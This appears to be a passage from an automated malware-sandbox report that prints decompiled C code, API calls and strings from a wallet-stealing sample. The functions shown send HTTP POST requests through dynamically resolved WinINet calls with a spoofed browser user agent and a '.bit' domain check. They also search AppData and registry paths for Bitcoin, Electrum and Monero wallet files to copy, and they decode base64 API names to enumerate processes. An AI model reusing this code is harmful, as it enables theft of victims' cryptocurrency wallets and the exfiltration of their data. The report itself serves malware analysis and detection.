				} while (_t329 != 0);
				_t1 =  &_v8;
				 *_t1 = _t329;
				_v16 =  *_t1;
				_v12 = __edx;
				_v8 = __eax;
				E00403980(_v8);
				E00403980(_v12);
				E00403980(_v16);
				_t373 =  &_v3776;
				_push(_t377);
				_push(0x418292);
				_push( *[fs:eax]);
				 *[fs:eax] = _t378;
				if(_v16 == 0) {
					E0040357C( &_v16, 0x4182ac);
				}
				E004034E4( &_v92);
				E0040357C( &_v56, _v8);
				_v73 = 0;
				E0040357C( &_v52, "wininet.dll");
				_t326 = GetModuleHandleA(E004039E8( &_v52));
				if(_t326 == 0) {
					_t326 = LoadLibraryA(E004039E8( &_v52));
				}
				_v20 = GetProcAddress(_t326,  &((E004039E8( &_v52))[0xc]));
				_v24 = GetProcAddress(_t326,  &((E004039E8( &_v52))[0x1a]));
				_v28 = GetProcAddress(_t326,  &((E004039E8( &_v52))[0x2b]));
				_v32 = GetProcAddress(_t326,  &((E004039E8( &_v52))[0x3c]));
				_v36 = GetProcAddress(_t326,  &((E004039E8( &_v52))[0x53]));
				_v40 = GetProcAddress(_t326,  &((E004039E8( &_v52))[0x64]));
				_t375 = GetProcAddress(_t326,  &((E004039E8( &_v52))[0x75]));
				_v44 = GetProcAddress(_t326,  &((E004039E8( &_v52))[0x89]));
				_v48 = GetProcAddress(_t326,  &((E004039E8( &_v52))[0x9b]));
				E00404F5C();
				E00404F5C();
				E00404F5C();
				E00404F5C();
				E00404F5C();
				E00404F5C();
				E00404F5C();
				 *_t373 = 0x3c;
				 *((intOrPtr*)(_t373 + 4)) =  &_v132;
				 *((intOrPtr*)(_t373 + 8)) = 0x20;
				 *((intOrPtr*)(_t373 + 0x10)) =  &_v388;
				 *((intOrPtr*)(_t373 + 0x14)) = 0x100;
				 *((intOrPtr*)(_t373 + 0x1c)) =  &_v516;
				 *((intOrPtr*)(_t373 + 0x20)) = 0x80;
				 *((intOrPtr*)(_t373 + 0x24)) =  &_v644;
				 *((intOrPtr*)(_t373 + 0x28)) = 0x80;
				 *(_t373 + 0x2c) =  &_v2692;
				 *((intOrPtr*)(_t373 + 0x30)) = 0x800;
				 *((intOrPtr*)(_t373 + 0x34)) =  &_v3716;
				 *((intOrPtr*)(_t373 + 0x38)) = 0x400;
				_v44(E00403990(_v56), E00403790(_v56), 0x90000000, _t373);
				E004036DC( &_v100,  *((intOrPtr*)(_t373 + 0x10)));
				E004039F0(_v100, 4, E00403790(_v100) - 3,  &_v69416);
				if(E00403AD4(0x418374, _v69416) != 0) {
					_v73 = 1;
					E004036DC( &_v69420,  *((intOrPtr*)(_t373 + 0x10)));
					E004037DC( &_v88, _v69420, "Host: ");
					E00417668(_v100, _t326,  &_v69424, _t373, _t375);
					 *((intOrPtr*)(_t373 + 0x10)) = E00403990(_v69424);
				}
				_t327 = _v20("Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)", 0, 0, 0, 0);
				if(_t327 != 0) {
					_v84 = 0x2dc6c0;
					_v48(_t327, 6,  &_v84, 4);
					_v48(_t327, 5,  &_v84, 4);
					_v64 = _v24(_t327,  *((intOrPtr*)(_t373 + 0x10)),  *((intOrPtr*)(_t373 + 0x18)), 0, 0, 3, 0, 0);
					if(_v64 != 0) {
						_v80 = 0x84003300;
						E004036DC( &_v69428,  *((intOrPtr*)(_t373 + 4)));
						if(E00403AD4(0x4183c8, _v69428) != 0) {
							_v80 = _v80 | 0x00800000;
						}
						_v68 = HttpOpenRequestA(_v64, E00403990(_v16),  *(_t373 + 0x2c), 0, 0, 0, _v80, 0);
						if(_v68 != 0) {
							if(_v73 != 0) {
								_v32(_v68, E00403990(_v88), E00403790(_v88), 0xa0000000);
							}
							_t290 = E00403790(_v12);
							if(HttpSendRequestA(_v68, 0x4183cc, 0, E00403990(_v12), _t290) != 0) {
								do {
									E00404F5C();
									_v72 = InternetReadFile(_v68,  &_v69412, 0x10064,  &_v60);
									E004035D4( &_v96, _v60,  &_v69412);
									_t304 = E00403798( &_v92, _v96);
									asm("sbb eax, eax");
								} while (_t304 + 1 != 0 && _v60 != 0);
							}
						}
						 *_t375(_v68);
					}
					 *_t375(_v64);
				}
				 *_t375(_t327);
				_t393 = _v92;
				if(_t393 == 0) {
					_push(_v100);
					_push(_v12);
					_push( *((intOrPtr*)(_t373 + 0x18)));
					_push( &_v92);
					E004036DC( &_v69432,  *(_t373 + 0x2c));
					_push(_v69432);
					E004036DC( &_v69436,  *((intOrPtr*)(_t373 + 0x10)));
					_pop(_t362);
					E00417820(_v69436, _t327, _v16, _t362, _t375);
				}
				E004038DC(_v16, 0x4182ac);
				if(_t393 == 0) {
					E0040627C(_v100, _t327,  &_v69440, _t375, _t393);
					E004038DC(_v69440, "BF468D66");
				}
				E00403538(_a4, _v92);
				E004034E4( &_v92);
				_pop(_t353);
				 *[fs:eax] = _t353;
				_push(E00418299);
				E00403508( &_v69440, 7);
				E00403508( &_v100, 4);
				E00403508( &_v56, 2);
				return E00403508( &_v16, 3);
			}

0x00417d85
0x00417d88
0x00417d8d
0x00417d8d
0x00417d8f
0x00417d91
0x00417d91
0x00417d94
0x00417d94
0x00417d9a
0x00417d9d
0x00417da0
0x00417da6
0x00417dae
0x00417db6
0x00417dbb
0x00417dc3
0x00417dc4
0x00417dc9
0x00417dcc
0x00417dd3
0x00417ddd
0x00417ddd
0x00417de5
0x00417df0
0x00417df5
0x00417e01
0x00417e14
0x00417e18
0x00417e28
0x00417e28
0x00417e3c
0x00417e51
0x00417e66
0x00417e7b
0x00417e90
0x00417ea5
0x00417eba
0x00417ed0
0x00417ee7
0x00417ef2
0x00417f02
0x00417f12
0x00417f22
0x00417f32
0x00417f42
0x00417f4e
0x00417f53
0x00417f5c
0x00417f5f
0x00417f6c
0x00417f6f
0x00417f7c
0x00417f7f
0x00417f8c
0x00417f8f
0x00417f9c
0x00417f9f
0x00417fac
0x00417faf
0x00417fce
0x00417fd7
0x00417ff8
0x0041800f
0x00418011
0x0041801e
0x00418031
0x0041803f
0x0041804f
0x0041804f
0x00418062
0x00418066
0x0041806c
0x0041807c
0x00418088
0x004180a2
0x004180a9
0x004180af
0x004180bf
0x004180d6
0x004180d8
0x004180d8
0x004180ff
0x00418106
0x00418110
0x0041812d
0x0041812d
0x00418133
0x00418152
0x00418154
0x0041815f
0x0041817b
0x0041818a
0x00418195
0x0041819e
0x004181a1
0x00418154
0x00418152
0x004181af
0x004181af
0x004181b5
0x004181b5
0x004181b8
0x004181ba
0x004181be
0x004181c3
0x004181c7
0x004181cc
0x004181d0
0x004181da
0x004181e5
0x004181ef
0x004181fd
0x004181fe
0x004181fe
0x0041820b
0x00418210
0x0041821b
0x0041822b
0x0041822b
0x00418240
0x00418248
0x0041824f
0x00418252
0x00418255
0x00418265
0x00418272
0x0041827f
0x00418291

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00418292,?,?,?,?,00000000,00000000,00000000,?,004187F5,00000000), ref: 00417E0F
LoadLibraryA.KERNEL32(00000000,00000000,00000000,00418292,?,?,?,?,00000000,00000000,00000000,?,004187F5,00000000), ref: 00417E23
GetProcAddress.KERNEL32(00000000,-0000000C), ref: 00417E37
GetProcAddress.KERNEL32(00000000,-0000001A), ref: 00417E4C
GetProcAddress.KERNEL32(00000000,-0000002B), ref: 00417E61
GetProcAddress.KERNEL32(00000000,-0000003C), ref: 00417E76
GetProcAddress.KERNEL32(00000000,-00000053), ref: 00417E8B
GetProcAddress.KERNEL32(00000000,-00000064), ref: 00417EA0
GetProcAddress.KERNEL32(00000000,-00000075), ref: 00417EB5
GetProcAddress.KERNEL32(00000000,-00000089), ref: 00417ECB
GetProcAddress.KERNEL32(00000000,-0000009B), ref: 00417EE2
HttpOpenRequestA.WININET(00000000,00000000,?,00000000,00000000,00000000,84003300,00000000,?,?,?,?,00000000,00000000,00000000), ref: 004180FC
HttpSendRequestA.WININET(00000000,004183CC,00000000,00000000,00000000,?,?,?,?,00000000,00000000,00000000,?,004187F5,00000000), ref: 0041814D
InternetReadFile.WININET(00000000,?,00010064,?,?,?,?,?,00000000,00000000,00000000,?,004187F5,00000000), ref: 00418178

Strings

Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1), xrefs: 0041805A
wininet.dll, xrefs: 00417DFC
Host: , xrefs: 0041802C
BF468D66, xrefs: 00418226
.bit, xrefs: 00418003
POST, xrefs: 00417DD8, 00418206

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressProc$HttpRequest$FileHandleInternetLibraryLoadModuleOpenReadSend
String ID: .bit$BF468D66$Host: $Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)$POST$wininet.dll
API String ID: 1237738786-2667470685
Opcode ID: 663d0bd0c9236ae1abf8be16e734511edf0ae365a5ce7ac882a09d6eb9fc6dbd
Instruction ID: 5b133b9addfad1444578419e9148cb156d847e9dbbf5ea098b4cdfe065b0ee4c
Opcode Fuzzy Hash: 663d0bd0c9236ae1abf8be16e734511edf0ae365a5ce7ac882a09d6eb9fc6dbd
Instruction Fuzzy Hash: 01E10FB1900218ABDB10EFA5CC46FDEBBB8BF48305F10457AF504B7691DB78AA45CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00414DE8, Relevance: 30.1, APIs: 2, Strings: 15, Instructions: 345
fileCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00414DE8(char __eax, void* __ebx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v612;
				char _v616;
				intOrPtr _v620;
				char _v624;
				char _v628;
				intOrPtr _v632;
				char _v636;
				intOrPtr _v640;
				char _v644;
				intOrPtr _v648;
				char _v652;
				char _v656;
				intOrPtr _v660;
				char _v664;
				intOrPtr _v668;
				char _v672;
				intOrPtr _v676;
				char _v680;
				char _v684;
				intOrPtr _v688;
				char _v692;
				intOrPtr _v696;
				char _v700;
				char _v704;
				intOrPtr _v708;
				char _v712;
				char _v716;
				intOrPtr _v720;
				char _v724;
				char _v728;
				char _v732;
				intOrPtr _v736;
				char _v740;
				char _v744;
				char _v748;
				char _v752;
				char _v756;
				void* _t141;
				void* _t146;
				void* _t151;
				void* _t156;
				int _t159;
				intOrPtr* _t160;
				void* _t207;
				void* _t218;
				void* _t280;
				void* _t281;
				intOrPtr _t310;
				void* _t323;
				void* _t332;
				void* _t337;
				void* _t343;
				void* _t349;
				void* _t355;
				intOrPtr* _t357;
				struct _WIN32_FIND_DATAW* _t359;
				intOrPtr _t361;
				intOrPtr _t362;

				_t361 = _t362;
				_t281 = 0x5e;
				do {
					_push(0);
					_push(0);
					_t281 = _t281 - 1;
				} while (_t281 != 0);
				_push(__ebx);
				_v8 = __eax;
				E00404150( &_v8);
				_t359 =  &_v612;
				_t357 =  *0x41b2c4; // 0x41b0b0
				_push(_t361);
				_push(0x4153e2);
				_push( *[fs:eax]);
				 *[fs:eax] = _t362;
				E004062FC(L"%APPDATA%\\",  &_v12, 0);
				E00403E14( &_v616, 0x415414, _v12, 0);
				_t141 = FindFirstFileW(E00403D98(_v616), _t359); // executed
				_t280 = _t141;
				do {
					_push(_v12);
					_push(0x415420);
					E00403D6C( &_v624, 0x104,  &(_t359->cFileName));
					_push(_v624);
					_push(0x415420);
					_push(L".wallet");
					E00403E78();
					_t146 = E0040776C(_v620, _t280, 0x104); // executed
					if(_t146 != 0) {
						_push(_v8);
						_push(0x415420);
						E00403D6C( &_v636, 0x104,  &(_t359->cFileName));
						_push(_v636);
						_push(L"\\.wallet");
						E00403E78();
						E0040377C( &_v628, _v632);
						_push(_v628);
						_push(_v12);
						_push(0x415420);
						E00403D6C( &_v644, 0x104,  &(_t359->cFileName));
						_push(_v644);
						_push(0x415420);
						_push(L".wallet");
						E00403E78();
						_pop(_t355);
						E0040E79C(_v640, _t280, _t355, _t357, _t359);
						 *_t357 =  *_t357 + 1;
					}
					_push(_v12);
					_push(0x415420);
					E00403D6C( &_v652, 0x104,  &(_t359->cFileName));
					_push(_v652);
					_push(0x415420);
					_push(L"wallet.dat");
					E00403E78();
					_t151 = E0040776C(_v648, _t280, 0x104); // executed
					if(_t151 != 0) {
						_push(_v8);
						_push(0x415420);
						E00403D6C( &_v664, 0x104,  &(_t359->cFileName));
						_push(_v664);
						_push(L"\\wallet.dat");
						E00403E78();
						E0040377C( &_v656, _v660);
						_push(_v656);
						_push(_v12);
						_push(0x415420);
						E00403D6C( &_v672, 0x104,  &(_t359->cFileName));
						_push(_v672);
						_push(0x415420);
						_push(L"wallet.dat");
						E00403E78();
						_pop(_t349);
						E0040E79C(_v668, _t280, _t349, _t357, _t359);
						 *_t357 =  *_t357 + 1;
					}
					_push(_v12);
					_push(0x415420);
					E00403D6C( &_v680, 0x104,  &(_t359->cFileName));
					_push(_v680);
					_push(0x415420);
					_push(L"electrum.dat");
					E00403E78();
					_t156 = E0040776C(_v676, _t280, 0x104); // executed
					if(_t156 != 0) {
						_push(_v8);
						_push(0x415420);
						E00403D6C( &_v692, 0x104,  &(_t359->cFileName));
						_push(_v692);
						_push(L"\\electrum.dat");
						E00403E78();
						E0040377C( &_v684, _v688);
						_push(_v684);
						_push(_v12);
						_push(0x415420);
						E00403D6C( &_v700, 0x104,  &(_t359->cFileName));
						_push(_v700);
						_push(0x415420);
						_push(L"electrum.dat");
						E00403E78();
						_pop(_t343);
						E0040E79C(_v696, _t280, _t343, _t357, _t359);
						 *_t357 =  *_t357 + 1;
					}
					_t159 = FindNextFileW(_t280, _t359); // executed
				} while (_t159 != 0);
				_t160 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t160))(_t280);
				_t286 = L"wallet_path";
				E004075C0(0x80000001, _t280, L"wallet_path", L"Software\\monero-project\\monero-core",  &_v16, 0); // executed
				if(E00403DA8(_v16) > 2) {
					_t218 = E0040776C(_v16, _t280, L"wallet_path");
					_t373 = _t218;
					if(_t218 != 0) {
						_push(_v8);
						_push(L"\\Monero\\");
						E004077C8(_v16, _t280, L"wallet_path",  &_v712, _t359, _t373);
						_push(_v712);
						E00403E78();
						E0040377C( &_v704, _v708);
						E0040E79C(_v16, _t280, _v704, _t357, _t359);
						_push(_v8);
						_push(L"\\Monero\\");
						E004077C8(_v16, _t280, _t286,  &_v724, _t359, _t373);
						_push(_v724);
						_push(L".address.txt");
						E00403E78();
						E0040377C( &_v716, _v720);
						_push(_v716);
						E00403E14( &_v728, L".address.txt", _v16, _t373);
						_pop(_t332);
						E0040E79C(_v728, _t280, _t332, _t357, _t359);
						_push(_v8);
						_push(L"\\Monero\\");
						E004077C8(_v16, _t280, L".address.txt",  &_v740, _t359, _t373);
						_push(_v740);
						_push(L".keys");
						E00403E78();
						E0040377C( &_v732, _v736);
						_push(_v732);
						E00403E14( &_v744, L".keys", _v16, _t373);
						_pop(_t337);
						E0040E79C(_v744, _t280, _t337, _t357, _t359);
						 *_t357 =  *_t357 + 1;
					}
				}
				E004075C0(0x80000001, _t280, L"strDataDir", L"Software\\Bitcoin\\Bitcoin-Qt",  &_v20, 0); // executed
				if(E00403DA8(_v20) > 2) {
					_t207 = E0040776C(_v20, _t280, L"strDataDir");
					_t376 = _t207;
					if(_t207 != 0) {
						E00403E14( &_v752, L"\\BitcoinCore_custom\\wallet.dat", _v8, _t376);
						E0040377C( &_v748, _v752);
						_push(_v748);
						E00403E14( &_v756, L"\\wallet.dat", _v20, _t376);
						_pop(_t323);
						E0040E79C(_v756, _t280, _t323, _t357, _t359);
						 *_t357 =  *_t357 + 1;
					}
				}
				_pop(_t310);
				 *[fs:eax] = _t310;
				_push(E004153EC);
				E00403BF4( &_v756, 2);
				E004034E4( &_v748);
				E00403BF4( &_v744, 3);
				E004034E4( &_v732);
				E00403BF4( &_v728, 3);
				E004034E4( &_v716);
				E00403BF4( &_v712, 2);
				E004034E4( &_v704);
				E00403BF4( &_v700, 4);
				E004034E4( &_v684);
				E00403BF4( &_v680, 6);
				E004034E4( &_v656);
				E00403BF4( &_v652, 6);
				E004034E4( &_v628);
				E00403BF4( &_v624, 3);
				return E00403BF4( &_v20, 4);
			}

0x00414de9
0x00414deb
0x00414df0
0x00414df0
0x00414df2
0x00414df4
0x00414df4
0x00414df7
0x00414dfa
0x00414e00
0x00414e05
0x00414e0b
0x00414e13
0x00414e14
0x00414e19
0x00414e1c
0x00414e27
0x00414e3b
0x00414e53
0x00414e55
0x00414e57
0x00414e57
0x00414e5a
0x00414e6d
0x00414e72
0x00414e78
0x00414e7d
0x00414e8d
0x00414e98
0x00414e9f
0x00414ea5
0x00414ea8
0x00414ebb
0x00414ec0
0x00414ec6
0x00414ed6
0x00414ee7
0x00414ef2
0x00414ef3
0x00414ef6
0x00414f09
0x00414f0e
0x00414f14
0x00414f19
0x00414f29
0x00414f34
0x00414f35
0x00414f3a
0x00414f3a
0x00414f3c
0x00414f3f
0x00414f52
0x00414f57
0x00414f5d
0x00414f62
0x00414f72
0x00414f7d
0x00414f84
0x00414f8a
0x00414f8d
0x00414fa0
0x00414fa5
0x00414fab
0x00414fbb
0x00414fcc
0x00414fd7
0x00414fd8
0x00414fdb
0x00414fee
0x00414ff3
0x00414ff9
0x00414ffe
0x0041500e
0x00415019
0x0041501a
0x0041501f
0x0041501f
0x00415021
0x00415024
0x00415037
0x0041503c
0x00415042
0x00415047
0x00415057
0x00415062
0x00415069
0x0041506f
0x00415072
0x00415085
0x0041508a
0x00415090
0x004150a0
0x004150b1
0x004150bc
0x004150bd
0x004150c0
0x004150d3
0x004150d8
0x004150de
0x004150e3
0x004150f3
0x004150fe
0x004150ff
0x00415104
0x00415104
0x0041510f
0x00415111
0x0041511a
0x00415121
0x00415129
0x00415138
0x00415148
0x00415151
0x00415156
0x00415158
0x0041515e
0x00415161
0x0041516f
0x00415174
0x00415185
0x00415196
0x004151a4
0x004151a9
0x004151ac
0x004151ba
0x004151bf
0x004151c5
0x004151d5
0x004151e6
0x004151f1
0x00415200
0x0041520b
0x0041520c
0x00415211
0x00415214
0x00415222
0x00415227
0x0041522d
0x0041523d
0x0041524e
0x00415259
0x00415268
0x00415273
0x00415274
0x00415279
0x00415279
0x00415158
0x00415290
0x004152a0
0x004152a5
0x004152aa
0x004152ac
0x004152bc
0x004152cd
0x004152d8
0x004152e7
0x004152f2
0x004152f3
0x004152f8
0x004152f8
0x004152ac
0x004152fc
0x004152ff
0x00415302
0x00415312
0x0041531d
0x0041532d
0x00415338
0x00415348
0x00415353
0x00415363
0x0041536e
0x0041537e
0x00415389
0x00415399
0x004153a4
0x004153b4
0x004153bf
0x004153cf
0x004153e1

APIs

FindNextFileW.KERNEL32(00000000,?,electrum.dat,00415420,?,00415420,?,wallet.dat,00415420,?,00415420,?,.wallet,00415420,?,00415420), ref: 0041510F
FindFirstFileW.KERNEL32(00000000,?,00000000,004153E2,?,00000000,?,00000000,00000000,00000000,?,00418985,?,?,?,00000000), ref: 00414E53

Part of subcall function 0040E79C: CopyFileW.KERNEL32(00000000,00000000,00000000,00000000,0040E89B,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00414448,00000001,0041479C), ref: 0040E824
Part of subcall function 0040E79C: DeleteFileW.KERNEL32(00000000,00000000,0040E89B,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00414448,00000001,0041479C,00000001,?), ref: 0040E866

Part of subcall function 0040776C: GetFileAttributesW.KERNEL32(00000000,00000000,004077B8,?,0041CA58,?,?,004096E8,00000000,00000000,00000000,00409963,?,?,?,00000000), ref: 0040779A

Strings

Software\monero-project\monero-core, xrefs: 0041512E
%APPDATA%\, xrefs: 00414E22
wallet.dat, xrefs: 00414F62, 00414FFE
\wallet.dat, xrefs: 00414FAB, 004152DF
\BitcoinCore_custom\wallet.dat, xrefs: 004152B4
.keys, xrefs: 0041522D, 00415260
.wallet, xrefs: 00414E7D, 00414F19
\.wallet, xrefs: 00414EC6
wallet_path, xrefs: 00415129
strDataDir, xrefs: 00415281
electrum.dat, xrefs: 00415047, 004150E3
\Monero\, xrefs: 00415161, 004151AC, 00415214
Software\Bitcoin\Bitcoin-Qt, xrefs: 00415286
.address.txt, xrefs: 004151C5, 004151F8
\electrum.dat, xrefs: 00415090

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$Find$AttributesCopyDeleteFirstNext
String ID: %APPDATA%\$.address.txt$.keys$.wallet$Software\Bitcoin\Bitcoin-Qt$Software\monero-project\monero-core$\.wallet$\BitcoinCore_custom\wallet.dat$\Monero\$\electrum.dat$\wallet.dat$electrum.dat$strDataDir$wallet.dat$wallet_path
API String ID: 3997899728-3271017084
Opcode ID: 7c135d84e5a07184266eebbb4aa7c78a0f2693ad5b6f8c453358dd0b457c1204
Instruction ID: 95ee1d834714e2087f8886ecebf4670be21e5c77651e4d87cbacd6f436815c28
Opcode Fuzzy Hash: 7c135d84e5a07184266eebbb4aa7c78a0f2693ad5b6f8c453358dd0b457c1204
Instruction Fuzzy Hash: B2E11C34A005199BCB10EB51DC86BDDB7BAEF88305F6081F7A50877291DB78AF858F58

Uniqueness

Uniqueness Score: -1.00%

Function 00416290, Relevance: 26.5, APIs: 10, Strings: 5, Instructions: 225
libraryloaderprocessCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00416290(intOrPtr __eax, void* __ebx, void* __edi, void* __esi, void* __eflags) {
				char _v8;
				long _v12;
				intOrPtr _v16;
				char _v17;
				char _v24;
				char _v28;
				void* _v584;
				char _v588;
				char _v592;
				char _v596;
				char _v600;
				char _v604;
				char _v608;
				char _v612;
				CHAR* _t113;
				CHAR* _t119;
				CHAR* _t125;
				void* _t134;
				void* _t137;
				void* _t141;
				void* _t169;
				signed int _t170;
				void* _t171;
				struct tagPROCESSENTRY32W* _t172;
				intOrPtr* _t173;
				signed int _t182;
				int _t189;
				void* _t192;
				signed int _t193;
				signed int _t194;
				intOrPtr _t213;
				intOrPtr _t215;
				signed int _t228;
				_Unknown_base(*)()* _t238;
				signed int _t239;
				signed int _t241;
				void* _t242;
				void* _t245;
				intOrPtr _t246;

				_t237 = __esi;
				_t244 = _t245;
				_t246 = _t245 + 0xfffffda0;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v612 = 0;
				_v608 = 0;
				_v604 = 0;
				_v596 = 0;
				_v600 = 0;
				_v592 = 0;
				_v588 = 0;
				_v8 = 0;
				_v24 = 0;
				_v16 = __eax;
				_push(_t245);
				_push(0x4165c6);
				_push( *[fs:eax]);
				 *[fs:eax] = _t246;
				E004069A8("Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90", __ebx,  &_v588, __edi, __esi);
				_t113 = E00403990(_v588);
				E004069A8("UHJvY2VzczMyRmlyc3RX", GetProcAddress(LoadLibraryA("kernel32.dll"), _t113),  &_v592, __edi, __esi);
				_t119 = E00403990(_v592);
				_t234 = GetProcAddress(LoadLibraryA("kernel32.dll"), _t119);
				E004069A8("UHJvY2VzczMyTmV4dFc=", _t115,  &_v596, _t121, __esi);
				_t125 = E00403990(_v596);
				E004069A8("a2VybmVsMzIuZGxs", _t115,  &_v600, _t121, _t237);
				_t238 = GetProcAddress(LoadLibraryA(E00403990(_v600)), _t125);
				E004034E4(_v16);
				_t134 = CreateToolhelp32Snapshot(2, 0); // executed
				_t192 = _t134;
				if(_t192 != 0xffffffff) {
					_v584 = 0x22c;
					_t172 =  &_v584;
					Process32FirstW(_t192, _t172); // executed
					if(_t172 != 0) {
						do {
							_push(E00404648(_v8) + 1);
							E00404804();
							_t182 = E00404648(_v8);
							_t242 =  &_v584;
							memcpy(_v8 + _t182 * 0x8b * 4 - 0x22c, _t242, 0x8b << 2);
							_t246 = _t246 + 0x10;
							_t234 = _t242 + 0x116;
							_t238 = _t238;
							 *((intOrPtr*)(_v8 + E00404648(_v8) * 0x8b * 4 - 0x20c)) = 0;
							_t189 = Process32NextW(_t192,  &_v584); // executed
						} while (_t189 != 0);
					}
					_t173 =  *0x41b1b4; // 0x41c690
					 *((intOrPtr*)( *_t173))(_t192);
				}
				_t137 = E00404648(_v8) - 1;
				if(_t137 >= 0) {
					_v28 = _t137 + 1;
					_t194 = 0;
					do {
						_v17 = 1;
						_t169 = E00404648(_v8) - 1;
						if(_t169 >= 0) {
							_t171 = _t169 + 1;
							_t228 = 0;
							do {
								_t43 = _t194 * 0x8b * 4; // 0x0
								_t241 = _t228 * 0x8b;
								_t234 = _v8;
								_t47 = _t241 * 4; // 0x1ffff
								if( *((intOrPtr*)(_v8 + _t43 + 0x18)) ==  *((intOrPtr*)(_v8 + _t47 + 8))) {
									_v17 = 0;
								}
								_t228 = _t228 + 1;
								_t171 = _t171 - 1;
							} while (_t171 != 0);
						}
						_t170 = _t194 * 0x8b;
						_t52 = _t170 * 4; // 0x0
						_t56 = _t170 * 4; // 0x1ffff
						if( *((intOrPtr*)(_v8 + _t52 + 0x18)) ==  *((intOrPtr*)(_v8 + _t56 + 8))) {
							_v17 = 1;
						}
						if(_v17 == 1) {
							 *((intOrPtr*)(_v8 + 0x20 + _t170 * 4)) = 1;
						}
						_t194 = _t194 + 1;
						_t64 =  &_v28;
						 *_t64 = _v28 - 1;
					} while ( *_t64 != 0);
				}
				_v12 = GetCurrentProcessId();
				_t141 = E00404648(_v8) - 1;
				if(_t141 >= 0) {
					_v28 = _t141 + 1;
					_t193 = 0;
					do {
						_t239 = _t193 * 0x8b;
						if( *((intOrPtr*)(_v8 + 0x20 + _t239 * 4)) == 1) {
							_t75 = _t239 * 4; // 0x1ffff
							if( *((intOrPtr*)(_v8 + _t75 + 8)) != _v12) {
								_push(_v24);
								_t90 = _t239 * 4; // 0x0
								E00403760( &_v608, 0x104, _v8 + _t90 + 0x24);
								_push(_v608);
								_push(E00416680);
								E00403850();
							} else {
								_push(_v24);
								_t82 = _t239 * 4; // 0x0
								E00403760( &_v604, 0x104, _v8 + _t82 + 0x24);
								_push(_v604);
								_push(0x416674);
								_push(E00416680);
								E00403850();
							}
							_t96 = _t193 * 0x8b * 4; // 0x1ffff
							E004160EC( *((intOrPtr*)(_v8 + _t96 + 8)), _t193,  &_v612, 1, _t234, _t239, _t244);
							E00403798( &_v24, _v612);
						}
						E00403538(_v16, _v24);
						_t193 = _t193 + 1;
						_t103 =  &_v28;
						 *_t103 = _v28 - 1;
					} while ( *_t103 != 0);
				}
				_pop(_t213);
				 *[fs:eax] = _t213;
				_push(E004165CD);
				E00403508( &_v612, 7);
				E004034E4( &_v24);
				_t215 =  *0x4160c4; // 0x4160c8
				return E00404810( &_v8, _t215);
			}

0x00416290
0x00416291
0x00416293
0x00416299
0x0041629a
0x0041629b
0x0041629e
0x004162a4
0x004162aa
0x004162b0
0x004162b6
0x004162bc
0x004162c2
0x004162c8
0x004162cb
0x004162ce
0x004162d3
0x004162d4
0x004162d9
0x004162dc
0x004162ea
0x004162f5
0x00416318
0x00416323
0x00416339
0x00416346
0x00416351
0x00416362
0x0041637e
0x00416383
0x0041638c
0x0041638e
0x00416393
0x00416399
0x004163a3
0x004163ab
0x004163af
0x004163b1
0x004163ba
0x004163c9
0x004163d4
0x004163ea
0x004163f5
0x004163f5
0x004163f5
0x004163f7
0x0041640b
0x0041641a
0x0041641c
0x004163b1
0x00416421
0x00416428
0x00416428
0x00416432
0x00416435
0x00416438
0x0041643b
0x0041643d
0x0041643d
0x00416449
0x0041644c
0x0041644e
0x0041644f
0x00416451
0x0041645a
0x0041645e
0x00416464
0x00416467
0x0041646b
0x0041646d
0x0041646d
0x00416471
0x00416472
0x00416472
0x00416451
0x00416475
0x0041647e
0x00416485
0x00416489
0x0041648b
0x0041648b
0x00416493
0x00416498
0x00416498
0x004164a0
0x004164a1
0x004164a1
0x004164a1
0x0041643d
0x004164ab
0x004164b6
0x004164b9
0x004164c0
0x004164c3
0x004164c5
0x004164c5
0x004164d3
0x004164dc
0x004164e3
0x0041651e
0x0041652a
0x00416533
0x00416538
0x0041653e
0x0041654b
0x004164e5
0x004164e5
0x004164f1
0x004164fa
0x004164ff
0x00416505
0x0041650a
0x00416517
0x00416517
0x0041655a
0x00416569
0x00416578
0x00416578
0x00416583
0x00416588
0x00416589
0x00416589
0x00416589
0x004164c5
0x00416594
0x00416597
0x0041659a
0x004165aa
0x004165b2
0x004165ba
0x004165c5

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE,?,00000001,,?,?,), ref: 00416300
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416306
LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE,?,00000001,), ref: 0041632E
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416334
LoadLibraryA.KERNEL32(00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE), ref: 00416373
GetProcAddress.KERNEL32(00000000,00000000), ref: 00416379
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001), ref: 0041638C
Process32FirstW.KERNEL32(00000000,0000022C), ref: 004163AB
Process32NextW.KERNEL32(00000000,?), ref: 0041641A
